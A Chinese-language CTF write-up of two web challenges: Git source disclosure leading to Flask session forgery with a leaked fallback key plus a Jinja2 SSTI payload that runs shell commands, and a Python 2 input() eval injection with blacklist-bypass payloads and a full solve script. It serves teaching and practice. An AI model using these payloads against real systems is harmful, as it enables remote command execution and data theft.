furryCTF 题解|Web方向|保姆级详解|固若金汤、DeepSleep

写在前面:写此题解主要目的是积累自己的技术,巩固学到的东西,所以很多概念都会在文中解释一遍,包括一些脚本的语法,furry算是我第一场深度参与的校外CTF,本人还处于小白阶段,很多技术都刚刚接触,写的不好还望多多指正。

固若金汤

题目介绍

Nexus Corporation 刚刚完成了其核心门户网站的 3.1.0 版本升级。CTO 自信地宣称:"为了符合 ISO-27001 标准,我们实施了严格的密钥轮换策略,并修复了所有的 SQL 注入漏洞。""现在的系统固若金汤,即便是内部员工也需要多因素认证才能访问。"请不要试图攻击平台。

**hint:**或许dirsearch有惊喜?

Git源码泄露漏洞

题目给了提示,先用dirsearch扫描:

bash 复制代码
dirsearch -u http://ctf.furryctf.com:32872/ -e *

-u **:**指定目标 URL

-e *: 表示扫描所有常见的后缀 (php, zip, bak, txt, etc.)

在扫描结果中看到漏洞:

bash 复制代码
[22:12:51] 200 - 92B - /.git/config
[22:12:51] 200 - 23B - /.git/HEAD
[22:12:51] 200 - 830B - /.git/index

发现了 Git 源码泄露 (Git Source Code Disclosure)。

要利用这个漏洞,需要用到GitHack,用命令下载到dirsearch目录:

bash 复制代码
git clone https://github.com/lijiejie/GitHack

安装后运行命令:

bash 复制代码
python GitHack.py http://ctf.furryctf.com:32872/.git/

运行后发现几个重要文件:

bash 复制代码
[OK] app.py

[OK] config.py

[OK] templates/login.html

打开查看之后发现config.py中,虽然SECRERT_KEY是随机生成的,但是第四行:

bash 复制代码
SECRET_KEY_FALLBACKS = ["This_key_has_been_deprecated_v2023"]

发现有备用密钥,这是Flask Session机制:

Flask 的 Session 是经过签名的 Cookie。为了支持密钥轮换,Flask 允许设置 SECRERT_KEY_FALLBACKS(备用密钥列表)。如果主密钥验证失败,Flask 会尝试用备用密钥列表里的密钥去解密 Session。

还在app.py的/dashboard路由中发现:

python 复制代码
username = request.args.get('u', 'Administrator')
template = f"""
    ...
    <h2>欢迎回到管理控制台, {username}!</h2>
    ...
"""
return render_template_string(template)

这是模板注入(SSTI)漏洞,开发者使用了 Python 的f-string(f"""...""")将用户输入的username直接拼接进了模板字符串,然后丢给了render_template_string渲染。

所以,如果我们传入{{7*7}},Python 会把它拼进去,变成模板的一部分。Flask 渲染时看到{{...}}就会执行里面的代码,输出49。同理,我们可以让它执行os.popen('cat /flag').read()。并且只检查只检查session['role']=='admin'。

攻击步骤

第一步,在app.py中加上

python 复制代码
@app.route('/get_cookie')
def get_cookie():
    session['role'] = 'admin' 
    return "Cookie已生成..."

session是什么 :在 Flask中,session就像是一个全局的 结构体 (struct) 或者 **哈希表 (HashMap),**开发者用它来存用户的状态。

并且把

python 复制代码
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

的注释去掉。

if name == 'main':这是 Python 的标准入口判断,它保证了这段代码只有在直接运行python app.py时才会执行,而被别的程序import时不会执行。

app.run(...):启动web服务器。

host='0.0.0.0':意思是"监听所有网卡"。如果不写这个,默认只能本地访问。

port=5000:指定在 5000 端口等待连接。

第二步,将config.py原来的secret_key删掉,用备用的这个。

为什么要修改sevret_key :Flask 的默认机制非常特殊:它不把 Session 存在服务器内存里,而是加密并签名后,直接发给浏览器存起来(这就是 Cookie)。

  • **签名流程:**数据({'role':'admin'})+ SECRET_KEY --(哈希算法)--> 加密字符串(cookie)

  • 验证流程: 服务器收到 Cookie -> 用同样的SECRET_KEY解密 -> 如果解密成功且签名匹配,就承认这个数据。

  • 我们的操作:因为我们拿到了源码里的SECRET_KEY,我们就能在本地模拟服务器的签名过程,生成一个服务器承认的"假身份证"。

第三步

运行app.py后,进入http://127.0.0.1:5000/get_cookie,找到session的cookie复制。回到题目页面,将session加入cookie,刷新页面,访问http://ctf.furryctf.com:32872/dashboard,看到"欢迎回到管理控制台",身份伪造成功。

第四步,用payload:

html 复制代码
http://ctf.furryctf.com:32872/dashboard?u={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

获取flag。

payload拆解

  • **config(出发点):**在 Flask 的模板(Jinja2)里,config是一个内置对象,代表当前的配置。我们能直接访问它。

  • .__class__ (向上看): 查看config对象是由哪个(Class)创建的。

  • **.__init__ (找初始化函数):**访问这个类的初始化方法(构造函数)。

  • .__globals__ (越狱): 核心原理 :Python 的函数都有一个 globals 属性,它是一个字典,包含了定义这个函数时所在文件里的所有全局变量和导入的模块 。通过 __globals__,我们就能在字典里找到 os 这个模块。

  • ['os'] (拿到武器): 从全局字典里取出 os 模块。os 模块是 Python 操作操作系统的接口。

  • .popen('cat /flag').read() (开火): popen:相当于 C 语言的 system()popen(),在操作系统 Shell 里执行命令。cat /flag:Linux 命令,查看 flag 文件内容。read():把命令执行的结果(Flag 字符串)读取出来,显示在网页上。

本题flag:furryCTF{fd1c5347b539_KEy_C1rCI3_mi9hT_be_FL4W5_a5_W3l1}

DeepSleep

题目介绍:猫猫最近开发出一款新的AI语言模型DeepSleep:

python 复制代码
try:
   question = input("").decode('utf-8')
except:
    question = u"服务器繁忙,请稍后再试。"
try:
   response = (question
                .replace(u"请问", u"")
                .replace(u"问", u"")
                .replace(u"吗", u"呀")
                .replace(u"你", u"我")
                .replace(u"?", u"!"))

print response.encode("utf-8")

为了猫猫的系统安全,猫猫设置了非常严格的BLACKLIST哦,会像上面的程序一样给你replace掉~(前后端都有的那种nwn)还有就是,这里没有flag,所以不要试图问AI从哪里获得flag哦~好啦,猫猫知道你不会自觉的nwn,所以猫猫已经在后端帮你把所有flag都替换掉了哦~

读一下题给代码会发现这是python2的代码。

为什么是python2?

这段代码的最后一行是:

python 复制代码
print response.encode("utf-8")  # Python 2 写法,无括号

以及python2 input()语法有一个极大的漏洞,返回的是字节串(str 类型) 的结果,若输入纯文本则为字节串),所以需要用.decode('utf-8')转成 Unicode 字符串(unicode类型)。

并且,input()函数不仅仅是接收输入,它等同于eval(raw_input()),它会把用户输入的字符串当作代码来执行

WAF绕过

在HTML 源码中的 JavaScript 中发现:

javascript 复制代码
// 检查特殊字符(可选)
const dangerousChars = /[<>`$|&;{}()]/; // <--- 关键点
if (dangerousChars.test(input)) {
    return { valid: false, message: '输入包含危险字符...' };
}

前端直接禁止了 {} 以及 ( )。而在 Python 的 Flask/Jinja2 注入中,我们需要用 {``{ ... }} 来执行代码。

一些失败的尝试

尝试的 Payload 失败原因 (底层原理) 经验教训
{``{7*7}} SyntaxError (语法错误){``{...}} 是 Jinja2 模板语法,在纯 Python 代码中是非法的(Python 字典只能单层 {})。 不要惯性思维。先分清是模版注入还是代码注入。
7*7 AttributeError (类型错误)7*7 执行结果是整数 49。后端代码紧接着执行了 .decode('utf-8'),但整数类型没有 decode 方法,导致程序崩溃。 关注上下文。Payload 的返回值必须符合后端代码的预期类型 (String)。
file('/f'+'lag') IOError (文件不存在) 。我们假设 Flag 在根目录 /flag,但实际上它在当前目录。读取不存在的文件会导致崩溃。 先侦察,后攻击 。盲目读取文件很容易踩雷,先用 ls 确认位置。
__builtins__['import'] TypeError 。有些环境里 __builtins__ 是模块 (module),不能用 ['key'] 访问,得用 .__dict__ 环境探测。多尝试几种访问方式(字典 vs 模块)。

成功的尝试

目录侦察

python 复制代码
str(__builtins__.__dict__['__im'+'port__']('o'+'s').listdir('.'))
  • __builtins__ : Python 的一个内置模块,包含了所有默认加载的函数(如 print, open, import 等)。

  • .__dict__: 获取该模块的字典(命名空间)。为什么要用字典?因为我们可以用字符串作为键名来提取函数,这为后面的"字符串拼接"创造了条件。

  • ['__im'+'port__'] : 由于 WAF拦截了 import 这个连续的字符串,我们把它拆成两半拼起来。从字典里拿到了 __import__ 函数的内存地址。

  • ('o'+'s') : 调用刚才拿到的导入函数,导入 os 模块。同样用拆字法 绕过对 os 的拦截。

  • .listdir('.') : 调用 os.listdir() 列出当前目录 (.) 下的所有文件,确认 flag 文件的确切名字。

  • str(...): 强制类型转换。把返回的列表转化为字符串,防止后端的 JSON 序列化器在处理列表时报错。

这是我们发现了目录中的文件:

发现了flag文件就在当前目录。

读取flag:

python 复制代码
getattr(__builtins__.__dict__['op'+'en']('f'+'lag'), 're'+'ad')().encode('base64')
  • ['op'+'en']('f'+'lag') : 同样的配方,绕过对 openflag 的拦截,执行 open('flag'),这会返回一个"文件对象"。

  • getattr(..., 're'+'ad') : getattr() 是 Python 的反射函数。因为直接写 .read() 会被查杀,所以我们用 getattr(文件对象, 'read') 的方式,把 read 作为一个字符串传进去,从而获取到了文件对象的 read 方法。

  • () : 加上括号,执行刚才获取到的 read 方法,把文件内容读入内存。

  • .encode('base64') : 明文的 Flag 变成 Base64 编码,从而绕过后端可能存在的"输出结果不能包含 flag{}"的过滤规则。本题有过滤,直接打印会显示:

最后再将获取到的编码解码即可。

完整解题脚本

python 复制代码
import requests
import json
import base64

url = "http://ctf.furryctf.com:33067"

def execute_payload(message, is_base64=False):
    headers = {'Content-Type': 'application/json; charset=UTF-8'}
    data = {'input': message}
    try:
        response = requests.post(url, headers=headers, data=json.dumps(data))
        if response.status_code == 200:
            result = response.json().get('processed_result')
            if is_base64 and result:
                try:
                    decoded = base64.b64decode(result.strip()).decode('utf-8')
                    print(f"Flag: {decoded}")
                except:
                    print(f"解码失败: {result}")
            else:
                print(f"目录侦察: {result}")
        else:
            print(f"状态码错误: {response.status_code}")
    except Exception as e:
        print(f"请求错误: {e}")

# 侦察目录
execute_payload("str(__builtins__.__dict__['__im'+'port__']('o'+'s').listdir('.'))")
# 读取并解码Flag
execute_payload("getattr(__builtins__.__dict__['op'+'en']('f'+'lag'), 're'+'ad')().encode('base64')", True)

从输出中可以获取flag:

本题flag:furryCTF{8497a8dcec47_D0_Not_U5e_Inpu7_In_Pyth0n2}

写在后面

做题的时候发现自己的burpsuite破解版突然不能用了,只能在ai帮助下用python写脚本,看完脚本觉得burpsuite真方便,当然如果ai写的脚本正确率极高的话直接复制粘贴运行一把梭拿下flag貌似更爽一点。Deepsleep拿到题我问ai在绕过读目录那里卡了好久,还有ai会觉得flag在根目录,一直执着于找根目录。所以用ai解题其实也是有快慢的,如果自己会的话,在第一步就能纠偏,能够更快地解题。

相关推荐
谁不学习揍谁!2 小时前
基于python大数据机器学习旅游数据分析可视化推荐系统(完整系统+开发文档+部署教程+文档等资料)
大数据·python·算法·机器学习·数据分析·旅游·数据可视化
喵手2 小时前
Python爬虫实战:Boss直聘职位数据采集实战 - Playwright + 结构化解析完整方案(附CSV导出 + SQLite持久化存储)!
爬虫·python·sqlite·爬虫实战·playwright·boss直聘职位数据采集·结构化解析
夜瞬2 小时前
【Flask 框架学习】02:核心基本概念全解析
python·flask·web
ding_zhikai2 小时前
【Web应用开发笔记】Django笔记2:一个 Hello World 网页
笔记·后端·python·django
kyle~2 小时前
Python---webbrowser库 跨平台打开浏览器的控制接口
开发语言·python·web
一尘之中2 小时前
量子力学数学基础入门:从态矢到内积外积(附Python演示)
python·ai写作·量子计算
七夜zippoe2 小时前
性能测试实战:Locust负载测试框架深度指南
分布式·python·性能测试·locust·性能基准
m0_738120722 小时前
渗透测试——Momentum靶机渗透提取详细教程(XSS漏洞解密Cookie,SS获取信息,Redis服务利用)
前端·redis·安全·web安全·ssh·php·xss
有点心急10212 小时前
SQL 执行 MCP 工具开发(一)
人工智能·python·aigc